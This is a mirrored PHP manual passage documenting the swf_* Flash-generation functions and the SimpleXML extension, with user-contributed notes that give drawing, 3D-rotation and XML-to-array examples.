The swf_definepoly() function defines a polygon given an array of x, y coordinates (the coordinates are defined in the parameter coords). The parameter npoints is the number of overall points that are contained in the array given by coords. The width is the width of the polygon's border, if set to 0.0 the polygon is filled.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_defineline | 上一级 | swf_definerect


swf_definerect

(PHP 4, PECL)

swf_definerect -- Define a rectangle

Description

void swf_definerect ( int objid, float x1, float y1, float x2, float y2, float width )

The swf_definerect() defines a rectangle with an upper left hand coordinate given by the x, x1, and the y, y1. And a lower right hand coordinate given by the x coordinate, x2, and the y coordinate, y2 . Width of the rectangles border is given by the width parameter, if the width is 0.0 then the rectangle is filled.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_definepoly | 上一级 | swf_definetext


swf_definetext

(PHP 4, PECL)

swf_definetext -- Define a text string

Description

void swf_definetext ( int objid, string str, int docenter )

Define a text string (the str parameter) using the current font and font size. The docenter is where the word is centered, if docenter is 1, then the word is centered in x.

add a note add a note User Contributed Notes
zarek at jazdesign dot com
23-Jun-2001 12:28
Horizontal Text Example
//setting up variables

$Xposition = 50;
$Yposition = 50;
$Zposition = 0;
$Obj_depth = 1;
$char = THIS IS THE TEXT;
// begin swf

swf_pushmatrix ();
$firstid = swf_nextid ();
swf_definefont ($firstid, "Mod");
swf_fontsize (10);
$secondid = swf_nextid ();
swf_definetext ($secondid, $char, 1);
swf_translate ($Xposition, $Yposition, Zposition);
swf_placeobject ($secondid, $Obj_depth);
swf_popmatrix ();
add a note add a note

后退 | 起点 | 前进
swf_definerect | 上一级 | swf_endbutton


swf_endbutton

(PHP 4, PECL)

swf_endbutton -- End the definition of the current button

Description

void swf_endbutton ( void )

The swf_endbutton() function ends the definition of the current button.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_definetext | 上一级 | swf_enddoaction


swf_enddoaction

(PHP 4, PECL)

swf_enddoaction -- End the current action

Description

void swf_enddoaction ( void )

Ends the current action started by the swf_startdoaction() function.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_endbutton | 上一级 | swf_endshape


swf_endshape

(PHP 4, PECL)

swf_endshape -- Completes the definition of the current shape

Description

void swf_endshape ( void )

The swf_endshape() completes the definition of the current shape.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_enddoaction | 上一级 | swf_endsymbol


swf_endsymbol

(PHP 4, PECL)

swf_endsymbol -- End the definition of a symbol

Description

void swf_endsymbol ( void )

The swf_endsymbol() function ends the definition of a symbol that was started by the swf_startsymbol() function.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_endshape | 上一级 | swf_fontsize


swf_fontsize

(PHP 4, PECL)

swf_fontsize -- Change the font size

Description

void swf_fontsize ( float size )

The swf_fontsize() function changes the font size to the value given by the size parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_endsymbol | 上一级 | swf_fontslant


swf_fontslant

(PHP 4, PECL)

swf_fontslant -- Set the font slant

Description

void swf_fontslant ( float slant )

Set the current font slant to the angle indicated by the slant parameter. Positive values create a forward slant, negative values create a negative slant.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_fontsize | 上一级 | swf_fonttracking


swf_fonttracking

(PHP 4, PECL)

swf_fonttracking -- Set the current font tracking

Description

void swf_fonttracking ( float tracking )

Set the font tracking to the value specified by the tracking parameter. This function is used to increase the spacing between letters and text, positive values increase the space and negative values decrease the space between letters.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_fontslant | 上一级 | swf_getbitmapinfo


swf_getbitmapinfo

(PHP 4, PECL)

swf_getbitmapinfo -- Get information about a bitmap

Description

array swf_getbitmapinfo ( int bitmapid )

The swf_getbitmapinfo() function returns an array of information about a bitmap given by the bitmapid parameter. The returned array has the following elements:

  • "size" - The size in bytes of the bitmap.

  • "width" - The width in pixels of the bitmap.

  • "height" - The height in pixels of the bitmap.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_fonttracking | 上一级 | swf_getfontinfo


swf_getfontinfo

(PHP 4, PECL)

swf_getfontinfo -- The height in pixels of a capital A and a lowercase x

Description

array swf_getfontinfo ( void )

The swf_getfontinfo() function returns an associative array with the following parameters:

  • Aheight - The height in pixels of a capital A.

  • xheight - The height in pixels of a lowercase x.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_getbitmapinfo | 上一级 | swf_getframe


swf_getframe

(PHP 4, PECL)

swf_getframe -- Get the frame number of the current frame

Description

int swf_getframe ( void )

The swf_getframe() function gets the number of the current frame.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_getfontinfo | 上一级 | swf_labelframe


swf_labelframe

(PHP 4, PECL)

swf_labelframe -- Label the current frame

Description

void swf_labelframe ( string name )

Label the current frame with the name given by the name parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_getframe | 上一级 | swf_lookat


swf_lookat

(PHP 4, PECL)

swf_lookat -- Define a viewing transformation

Description

void swf_lookat ( float view_x, float view_y, float view_z, float reference_x, float reference_y, float reference_z, float twist )

The swf_lookat() function defines a viewing transformation by giving the viewing position (the parameters view_x, view_y, and view_z) and the coordinates of a reference point in the scene, the reference point is defined by the reference_x, reference_y , and reference_z parameters. The twist controls the rotation along with viewer's z axis.

add a note add a note User Contributed Notes
hotkey at hehe dot com
03-May-2001 11:34
You can really do stunning 3D effects using swf_lookat() [and swf_ortho, of course].
Here is a little example of doing a simple 3D-rotation around a text.
The Text is split up into 2 parts, because Flash does not (yet?) support perspective-skewing, only rotation, 2D-skew and scaling. But if you split your 3D-object up into several parts, each part is transformed seperately and you can trick around that loss of perspective-skew.

Have a lot of fun experimenting with that piece of code!

regards
HotKey ^ http://www.SPR.AT

- - - - - - >8  - cut here - - - - -
<?php
Header("Content-type: application/x-shockwave-flash");
swf_openfile("php://stdout", 320, 200, 25, 1, 1, 1);

swf_ortho (-100, 100, -100, 100, -100, 100);    #create 3D coordinates

swf_definefont (0, "Pix3");
swf_addcolor (0, 0, 0, 1);
swf_fontsize (10);
swf_fonttracking(0.2);
for ($i=0; $i<628; $i+=8) {
  $j = $i / 100;
  swf_pushmatrix ();
  swf_translate(0,0,0);
  swf_perspective(100,1,0,10);
  swf_lookat(sin($j)*60,50,cos($j)*60,  0,00,0,  0);

  swf_definetext (1, "HotKey@", 0);
  swf_translate(-50,0,0);

  swf_placeobject(1,10);

  swf_definetext (2, "hehe.com", 0);
  swf_translate (55,0,0);
  swf_placeobject(2,11);

  swf_showframe();
  swf_removeobject (10);
  swf_removeobject (11);
  swf_popmatrix();
}

swf_closefile ();
?>
- - - - - - - -  8< - - - - - - - -

*EOF*
add a note add a note

后退 | 起点 | 前进
swf_labelframe | 上一级 | swf_modifyobject


swf_modifyobject

(PHP 4, PECL)

swf_modifyobject -- Modify an object

Description

void swf_modifyobject ( int depth, int how )

Updates the position and/or color of the object at the specified depth, depth. The parameter how determines what is updated. how can either be the constant MOD_MATRIX or MOD_COLOR or it can be a combination of both (MOD_MATRIX|MOD_COLOR).

MOD_COLOR uses the current mulcolor (specified by the function swf_mulcolor()) and addcolor (specified by the function swf_addcolor()) to color the object. MOD_MATRIX uses the current matrix to position the object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_lookat | 上一级 | swf_mulcolor


swf_mulcolor

(PHP 4, PECL)

swf_mulcolor -- Sets the global multiply color to the rgba value specified

Description

void swf_mulcolor ( float r, float g, float b, float a )

The swf_mulcolor() function sets the global multiply color to the rgba color specified. This color is then used (implicitly) by the swf_placeobject(), swf_modifyobject() and the swf_addbuttonrecord() functions. The color of the object will be multiplied by the rgba values when the object is written to the screen.

注: The rgba values can be either positive or negative.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_modifyobject | 上一级 | swf_nextid


swf_nextid

(PHP 4, PECL)

swf_nextid -- Returns the next free object id

Description

int swf_nextid ( void )

The swf_nextid() function returns the next available object id.

add a note add a note User Contributed Notes
zarek at jazdesign dot com
09-May-2001 02:36
this function, when used as shown below, works fine:
$char = "mytext";
$fontsize = 50;
$horiz = 50;
$vert = -50;
swf_pushmatrix ();
$nextid = swf_nextid ();
swf_definefont ($nextid, "Pix3");
swf_fontsize ($fontsize);
$nextid2 = swf_nextid ();
swf_definetext ($nextid2, $char, 1);
swf_translate ($horiz, $vert, 0);
swf_placeobject ($nextid2, 2);
swf_popmatrix ();

Stay tuned, I will be posting many working examples of swf using php on http://www.jazdesign.com  ... there is not anything there now but there will be soon.... send me email if you have specific questions.

note: swf with php is very quirky! if one thing is wrong it can make your system crash, browser lock or other fun things, sometimes testing can drive you nuts!
add a note add a note

后退 | 起点 | 前进
swf_mulcolor | 上一级 | swf_oncondition


swf_oncondition

(PHP 4, PECL)

swf_oncondition -- Describe a transition used to trigger an action list

Description

void swf_oncondition ( int transition )

The swf_oncondition() function describes a transition that will trigger an action list. There are several types of possible transitions, the following are for buttons defined as TYPE_MENUBUTTON:

  • IdletoOverUp

  • OverUptoIdle

  • OverUptoOverDown

  • OverDowntoOverUp

  • IdletoOverDown

  • OutDowntoIdle

  • MenuEnter (IdletoOverUp|IdletoOverDown)

  • MenuExit (OverUptoIdle|OverDowntoIdle)

For TYPE_PUSHBUTTON there are the following options:

  • IdletoOverUp

  • OverUptoIdle

  • OverUptoOverDown

  • OverDowntoOverUp

  • OverDowntoOutDown

  • OutDowntoOverDown

  • OutDowntoIdle

  • ButtonEnter (IdletoOverUp|OutDowntoOverDown)

  • ButtonExit (OverUptoIdle|OverDowntoOutDown)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_nextid | 上一级 | swf_openfile


swf_openfile

(PHP 4, PECL)

swf_openfile -- Open a new Shockwave Flash file

Description

void swf_openfile ( string filename, float width, float height, float framerate, float r, float g, float b )

The swf_openfile() function opens a new file named filename with a width of width and a height of height a frame rate of framerate and background with a red color of r a green color of g and a blue color of b.

The swf_openfile() must be the first function you call, otherwise your script will cause a segfault. If you want to send your output to the screen make the filename: "php://stdout" (support for this is in 4.0.1 and up).

add a note add a note User Contributed Notes
dgw at q-logic dot org
25-Oct-2000 11:21
Im running PHP 4.0.3pl1 as an Apache module and it works great (SuSE 6.4).
manu_killer at poczta dot onet dot pl
20-Jul-2000 04:10
Maybe "php://stdout" doesn't exists when you use PHP as an Apache module ?
In case of using it with standalone PHP it may work.
add a note add a note

后退 | 起点 | 前进
swf_oncondition | 上一级 | swf_ortho2


swf_ortho2

(PHP 4, PECL)

swf_ortho2 -- Defines 2D orthographic mapping of user coordinates onto the current viewport

Description

void swf_ortho2 ( float xmin, float xmax, float ymin, float ymax )

The swf_ortho2() function defines a two dimensional orthographic mapping of user coordinates onto the current viewport, this defaults to one to one mapping of the area of the Flash movie. If a perspective transformation is desired, the swf_perspective () function can be used.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_openfile | 上一级 | swf_ortho


swf_ortho

(PHP 4 >= 4.0.1, PECL)

swf_ortho -- Defines an orthographic mapping of user coordinates onto the current viewport

Description

void swf_ortho ( float xmin, float xmax, float ymin, float ymax, float zmin, float zmax )

The swf_ortho() function defines an orthographic mapping of user coordinates onto the current viewport.

add a note add a note User Contributed Notes
hotkey at hehe dot com
14-May-2001 07:15
swf_ortho() creates a 3D-matrix;
In most cases you'll only need swf_ortho2() to create a 2D-Matrix.
But you should know what's possible with a 3D-matrix: so jump to
swf_lookat() and check out an 3D-example
add a note add a note

后退 | 起点 | 前进
swf_ortho2 | 上一级 | swf_perspective


swf_perspective

(PHP 4, PECL)

swf_perspective -- Define a perspective projection transformation

Description

void swf_perspective ( float fovy, float aspect, float near, float far )

The swf_perspective() function defines a perspective projection transformation. The fovy parameter is field-of-view angle in the y direction. The aspect parameter should be set to the aspect ratio of the viewport that is being drawn onto. The near parameter is the near clipping plane and the far parameter is the far clipping plane.

注: Various distortion artifacts may appear when performing a perspective projection, this is because Flash players only have a two dimensional matrix. Some are not to pretty.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_ortho | 上一级 | swf_placeobject


swf_placeobject

(PHP 4, PECL)

swf_placeobject -- Place an object onto the screen

Description

void swf_placeobject ( int objid, int depth )

Places the object specified by objid in the current frame at a depth of depth. The objid parameter and the depth must be between 1 and 65535.

This uses the current mulcolor (specified by swf_mulcolor()) and the current addcolor (specified by swf_addcolor()) to color the object and it uses the current matrix to position the object.

注: Full RGBA colors are supported.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_perspective | 上一级 | swf_polarview


swf_polarview

(PHP 4, PECL)

swf_polarview -- Define the viewer's position with polar coordinates

Description

void swf_polarview ( float dist, float azimuth, float incidence, float twist )

The swf_polarview() function defines the viewer's position in polar coordinates. The dist parameter gives the distance between the viewpoint to the world space origin. The azimuth parameter defines the azimuthal angle in the x,y coordinate plane, measured in distance from the y axis. The incidence parameter defines the angle of incidence in the y,z plane, measured in distance from the z axis. The incidence angle is defined as the angle of the viewport relative to the z axis. Finally the twist specifies the amount that the viewpoint is to be rotated about the line of sight using the right hand rule.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_placeobject | 上一级 | swf_popmatrix


swf_popmatrix

(PHP 4, PECL)

swf_popmatrix -- Restore a previous transformation matrix

Description

void swf_popmatrix ( void )

The swf_popmatrix() function pushes the current transformation matrix back onto the stack.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_polarview | 上一级 | swf_posround


swf_posround

(PHP 4, PECL)

swf_posround -- Enables or Disables the rounding of the translation when objects are placed or moved

Description

void swf_posround ( int round )

The swf_posround() function enables or disables the rounding of the translation when objects are placed or moved, there are times when text becomes more readable because rounding has been enabled. The round is whether to enable rounding or not, if set to the value of 1, then rounding is enabled, if set to 0 then rounding is disabled.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_popmatrix | 上一级 | swf_pushmatrix


swf_pushmatrix

(PHP 4, PECL)

swf_pushmatrix -- Push the current transformation matrix back unto the stack

Description

void swf_pushmatrix ( void )

The swf_pushmatrix() function pushes the current transformation matrix back onto the stack.

add a note add a note User Contributed Notes
greg at newtechy dot com
17-Aug-2001 10:30
This function saves the current transformation settings on the stack so that you can restore it later if you need to.  You can restore it with the popmatrix function.  For example, if you run this code:

// save the current transformation matrix
swf_pushmatrix();

// translate this object
swf_definefont(3, "Mod");
swf_fontsize(5);
swf_definetext(3, "Hello", 1);
swf_translate(50, 50, 0);
swf_placeobject(3, 50);

// reload the last saved transformation matrix
swf_popmatrix();

swf_showframe();

Only the text "Hello" will be transformed to that location on the animation.  At first when I started using this library I didn't know what this did, but this is what I've found so far.  It can be very useful in animation.
add a note add a note

后退 | 起点 | 前进
swf_posround | 上一级 | swf_removeobject


swf_removeobject

(PHP 4, PECL)

swf_removeobject -- Remove an object

Description

void swf_removeobject ( int depth )

Removes the object at the depth specified by depth.

add a note add a note User Contributed Notes
mathe at bluemento dot de
15-Sep-2003 11:45
Hey ... it is the LIFO (not FIFO)!!

An Example:

for ($i = 0;$i < 100;$i++) {
   swf_removeobject($this->Depth);
   swf_removeobject($this->Depth);
   swf_addcolor(0,0,0,0);
   $this->modifyCoords();
   swf_placeobject($this->ObjId1, $this->Depth);
   swf_placeobject($this->ObjId2, $this->Depth);
}

Here, two objects are placed in same depth.
So, if you want to remove those two objects,
use the swf_removeobject-function two times.
the ObjId2 will be removed at the first remove-call.

This caused a lot of trouble in my code ;)
mathe at bluemento dot de
14-Sep-2003 09:43
Note that this function just remove the last object drawn in the specified depth. After the FIFO-principal. :)
add a note add a note

后退 | 起点 | 前进
swf_pushmatrix | 上一级 | swf_rotate


swf_rotate

(PHP 4, PECL)

swf_rotate -- Rotate the current transformation

Description

void swf_rotate ( float angle, string axis )

The swf_rotate() rotates the current transformation by the angle given by the angle parameter around the axis given by the axis parameter. Valid values for the axis are 'x' (the x axis), 'y' (the y axis) or 'z' (the z axis).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_removeobject | 上一级 | swf_scale


swf_scale

(PHP 4, PECL)

swf_scale -- Scale the current transformation

Description

void swf_scale ( float x, float y, float z )

The swf_scale() scales the x coordinate of the curve by the value of the x parameter, the y coordinate of the curve by the value of the y parameter, and the z coordinate of the curve by the value of the z parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_rotate | 上一级 | swf_setfont


swf_setfont

(PHP 4, PECL)

swf_setfont -- Change the current font

Description

void swf_setfont ( int fontid )

The swf_setfont() sets the current font to the value given by the fontid parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_scale | 上一级 | swf_setframe


swf_setframe

(PHP 4, PECL)

swf_setframe -- Switch to a specified frame

Description

void swf_setframe ( int framenumber )

The swf_setframe() changes the active frame to the frame specified by framenumber.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_setfont | 上一级 | swf_shapearc


swf_shapearc

(PHP 4, PECL)

swf_shapearc -- Draw a circular arc

Description

void swf_shapearc ( float x, float y, float r, float ang1, float ang2 )

The swf_shapearc() function draws a circular arc from angle A given by the ang1 parameter to angle B given by the ang2 parameter. The center of the circle has an x coordinate given by the x parameter and a y coordinate given by the y, the radius of the circle is given by the r parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_setframe | 上一级 | swf_shapecurveto3


swf_shapecurveto3

(PHP 4, PECL)

swf_shapecurveto3 -- Draw a cubic bezier curve

Description

void swf_shapecurveto3 ( float x1, float y1, float x2, float y2, float x3, float y3 )

Draw a cubic bezier curve using the x,y coordinate pairs x1, y1 and x2,y2 as off curve control points and the x,y coordinate x3, y3 as an endpoint. The current position is then set to the x,y coordinate pair given by x3,y3.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapearc | 上一级 | swf_shapecurveto


swf_shapecurveto

(PHP 4, PECL)

swf_shapecurveto -- Draw a quadratic bezier curve between two points

Description

void swf_shapecurveto ( float x1, float y1, float x2, float y2 )

The swf_shapecurveto() function draws a quadratic bezier curve from the current location, though the x coordinate given by x1 and the y coordinate given by y1 to the x coordinate given by x2 and the y coordinate given by y2. The current position is then set to the x,y coordinates given by the x2 and y2 parameters

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapecurveto3 | 上一级 | swf_shapefillbitmapclip


swf_shapefillbitmapclip

(PHP 4, PECL)

swf_shapefillbitmapclip -- Set current fill mode to clipped bitmap

Description

void swf_shapefillbitmapclip ( int bitmapid )

Sets the fill to bitmap clipped, empty spaces will be filled by the bitmap given by the bitmapid parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapecurveto | 上一级 | swf_shapefillbitmaptile


swf_shapefillbitmaptile

(PHP 4, PECL)

swf_shapefillbitmaptile -- Set current fill mode to tiled bitmap

Description

void swf_shapefillbitmaptile ( int bitmapid )

Sets the fill to bitmap tile, empty spaces will be filled by the bitmap given by the bitmapid parameter (tiled).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapefillbitmapclip | 上一级 | swf_shapefilloff


swf_shapefilloff

(PHP 4, PECL)

swf_shapefilloff -- Turns off filling

Description

void swf_shapefilloff ( void )

The swf_shapefilloff() function turns off filling for the current shape.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapefillbitmaptile | 上一级 | swf_shapefillsolid


swf_shapefillsolid

(PHP 4, PECL)

swf_shapefillsolid -- Set the current fill style to the specified color

Description

void swf_shapefillsolid ( float r, float g, float b, float a )

The swf_shapefillsolid() function sets the current fill style to solid, and then sets the fill color to the values of the rgba parameters.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapefilloff | 上一级 | swf_shapelinesolid


swf_shapelinesolid

(PHP 4, PECL)

swf_shapelinesolid -- Set the current line style

Description

void swf_shapelinesolid ( float r, float g, float b, float a, float width )

The swf_shapelinesolid() function sets the current line style to the color of the rgba parameters and width to the width parameter. If 0.0 is given as a width then no lines are drawn.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapefillsolid | 上一级 | swf_shapelineto


swf_shapelineto

(PHP 4, PECL)

swf_shapelineto -- Draw a line

Description

void swf_shapelineto ( float x, float y )

The swf_shapelineto() draws a line to the x,y coordinates given by the x parameter & the y parameter. The current position is then set to the x,y parameters.

add a note add a note User Contributed Notes
mathe at bluemento dot de
15-Sep-2003 11:58
I did make other experience with this function:

swf_startshape ($this->gButton);
  swf_addcolor(0,0,0,0);
  swf_shapelinesolid(1,0,0,0,5);
  swf_shapefillsolid($r,$g,$b,1);
  swf_shapemoveto(0,10);
  swf_shapelineto(60,10);
  swf_shapelineto(60,-5);
  swf_shapelineto(-35,-5);
  swf_shapelineto(-35,10);
swf_endshape($this->gButton);

Here, swf_shapelineto doesnt set the given values to the
current position. In case this would not build a rectangle -
but it does.
add a note add a note

后退 | 起点 | 前进
swf_shapelinesolid | 上一级 | swf_shapemoveto


swf_shapemoveto

(PHP 4, PECL)

swf_shapemoveto -- Move the current position

Description

void swf_shapemoveto ( float x, float y )

The swf_shapemoveto() function moves the current position to the x coordinate given by the x parameter and the y position given by the y parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapelineto | 上一级 | swf_showframe


swf_showframe

(PHP 4, PECL)

swf_showframe -- Display the current frame

Description

void swf_showframe ( void )

The swf_showframe function will output the current frame.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_shapemoveto | 上一级 | swf_startbutton


swf_startbutton

(PHP 4, PECL)

swf_startbutton -- Start the definition of a button

Description

void swf_startbutton ( int objid, int type )

The swf_startbutton() function starts off the definition of a button. The type parameter can either be TYPE_MENUBUTTON or TYPE_PUSHBUTTON. The TYPE_MENUBUTTON constant allows the focus to travel from the button when the mouse is down, TYPE_PUSHBUTTON does not allow the focus to travel when the mouse is down.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_showframe | 上一级 | swf_startdoaction


swf_startdoaction

(PHP 4, PECL)

swf_startdoaction -- Start a description of an action list for the current frame

Description

void swf_startdoaction ( void )

The swf_startdoaction() function starts the description of an action list for the current frame. This must be called before actions are defined for the current frame.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_startbutton | 上一级 | swf_startshape


swf_startshape

(PHP 4, PECL)

swf_startshape -- Start a complex shape

Description

void swf_startshape ( int objid )

The swf_startshape() function starts a complex shape, with an object id given by the objid parameter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_startdoaction | 上一级 | swf_startsymbol


swf_startsymbol

(PHP 4, PECL)

swf_startsymbol -- Define a symbol

Description

void swf_startsymbol ( int objid )

Define an object id as a symbol. Symbols are tiny flash movies that can be played simultaneously. The objid parameter is the object id you want to define as a symbol.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_startshape | 上一级 | swf_textwidth


swf_textwidth

(PHP 4, PECL)

swf_textwidth -- Get the width of a string

Description

float swf_textwidth ( string str )

The swf_textwidth() function gives the width of the string, str, in pixels, using the current font and font size.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_startsymbol | 上一级 | swf_translate


swf_translate

(PHP 4, PECL)

swf_translate -- Translate the current transformations

Description

void swf_translate ( float x, float y, float z )

The swf_translate() function translates the current transformation by the x, y, and z values given.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_textwidth | 上一级 | swf_viewport


swf_viewport

(PHP 4, PECL)

swf_viewport -- Select an area for future drawing

Description

void swf_viewport ( float xmin, float xmax, float ymin, float ymax )

The swf_viewport() function selects an area for future drawing for xmin to xmax and ymin to ymax, if this function is not called the area defaults to the size of the screen.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
swf_translate | 上一级 | SimpleXML functions


SimpleXML functions

PHP 手册
后退 前进

CXXXIV. SimpleXML functions

简介

The SimpleXML extension provides a very simple and easily usable toolset to convert XML to an object that can be processed with normal property selectors and array iterators.

需求

The SimpleXML extension requires PHP 5.

安装

The SimpleXML extension is enabled by default. To disable it, use the --disable-simplexml configure option.

范例

Many examples in this reference require an XML string. Instead of repeating this string in every example, we put it into a file which we include in each example. This included file is shown in the following example section. Alternatively, you could create an XML document and read it with simplexml_load_file().

例子 1. Include file example.php with XML string

<?php
$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<movies>
<movie>
  <title>PHP: Behind the Parser</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#211;r</actor>
   </character>
  </characters>
  <plot>
   So, this language. It's like, a programming language. Or is it a
   scripting language? All is revealed in this thrilling horror spoof
   of a documentary.
  </plot>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
</movie>
</movies>
XML;
?>

The simplicity of SimpleXML appears most clearly when one extracts a string or number from a basic XML document.

例子 2. Getting <plot>

<?php
include 'example.php';

$xml = simplexml_load_string($xmlstr);

echo $xml->movie[0]->plot; // "So this language. It's like..."
?>

例子 3. Accessing non-unique elements in SimpleXML

When multiple instances of an element exist as children of a single parent element, normal iteration techniques apply.

<?php
include 'example.php';

$xml = simplexml_load_string($xmlstr);

/* For each <movie> node, we echo a separate <plot>. */
foreach ($xml->movie as $movie) {
   echo $movie->plot, '<br />';
}

?>

例子 4. Using attributes

So far, we have only covered the work of reading element names and their values. SimpleXML can also access element attributes. Access attributes of an element just as you would elements of an array.

<?php
include 'example.php';

$xml = simplexml_load_string($xmlstr);

/* Access the <rating> nodes of the first movie.
* Output the rating scale, too. */
foreach ($xml->movie[0]->rating as $rating) {
    switch((string) $rating['type']) { // Get attributes as element indices
    case 'thumbs':
        echo $rating, ' thumbs up';
        break;
    case 'stars':
        echo $rating, ' stars';
        break;
    }
}
?>

例子 5. Comparing Elements and Attributes with Text

To compare an element or attribute with a string or pass it into a function that requires a string, you must cast it to a string using (string). Otherwise, PHP treats the element as an object.

<?php
include 'example.php';

$xml = simplexml_load_string($xmlstr);

if ((string) $xml->movie->title == 'PHP: Behind the Parser') {
    print 'My favorite movie.';
}

htmlentities((string) $xml->movie->title);
?>

例子 6. Using Xpath

SimpleXML includes builtin Xpath support. To find all <character> elements:

<?php
include 'example.php';
$xml = simplexml_load_string($xmlstr);

foreach ($xml->xpath('//character') as $character) {
    echo $character->name, 'played by ', $character->actor, '<br />';
}
?>

'//' serves as a wildcard. To specify absolute paths, omit one of the slashes.

例子 7. Setting values

Data in SimpleXML doesn't have to be constant. The object allows for manipulation of all of its elements.

<?php
include 'example.php';
$xml = simplexml_load_string($xmlstr);

$xml->movie[0]->characters->character[0]->name = 'Miss Coder';

echo $xml->asXML();
?>

The above code will output a new XML document, just like the original, except that the new XML will change Ms. Coder to Miss Coder.

例子 8. DOM Interoperability

PHP has a mechanism to convert XML nodes between SimpleXML and DOM formats. This example shows how one might change a DOM element to SimpleXML.

<?php
$dom = new domDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
     echo 'Error while parsing the document';
     exit;
}

$s = simplexml_import_dom($dom);

echo $s->book[0]->title;
?>

目录
SimpleXMLElement->asXML -- Return a well-formed XML string based on SimpleXML element
SimpleXMLElement->attributes -- Identifies an element's attributes
SimpleXMLElement->children -- Finds children of given node
SimpleXMLElement->xpath -- Runs Xpath query on XML data
simplexml_import_dom -- Get a SimpleXMLElement object from a DOM node.
simplexml_load_file -- Interprets an XML file into an object
simplexml_load_string -- Interprets a string of XML into an object

add a note add a note User Contributed Notes
Jason Sheets <jsheets at shadonet dot com>
01-Jun-2006 01:31
Here is my Simple XML to array function, it is recursive and has the benefit of maintaining key value relationships and has worked well for me.

function XMLToArray($xml)
{
  if ($xml instanceof SimpleXMLElement) {
   $children = $xml->children();
   $return = null;
  }

  foreach ($children as $element => $value) {
   if ($value instanceof SimpleXMLElement) {
     $values = (array)$value->children();

     if (count($values) > 0) {
       $return[$element] = XMLToArray($value);
     } else {
       if (!isset($return[$element])) {
         $return[$element] = (string)$value;
       } else {
         if (!is_array($return[$element])) {
           $return[$element] = array($return[$element], (string)$value);
         } else {
           $return[$element][] = (string)$value;
         }
       }
     }
   }
  }

  if (is_array($return)) {
   return $return;
  } else {
   return $false;
  }
}
djib
21-May-2006 10:02
I wrote my own simplexml_to_array function which collects all information about attributes - cdata and childnodes of any level. I think it is much more simple compared to those I ran into so far, maybe it lacks a few things but it did the job for me...

XML FILE:
<?xml version="1.0" encoding="UTF-8" ?>
<employees>

<employee ID="1" FOO="BAR">
   <empname>Anthony Clarke</empname>
   <emptitle>Chief Information Officer</emptitle>
   <empage>48</empage>
</employee>

<employee ID="2" BAZ="WOM">
   <empname>Laura Pollard</empname>
   <emptitle>Chief Executive Officer</emptitle>
   <empage>54</empage>
</employee>

</employees>

PHP CODE:
function sxml_to_array($xml) {
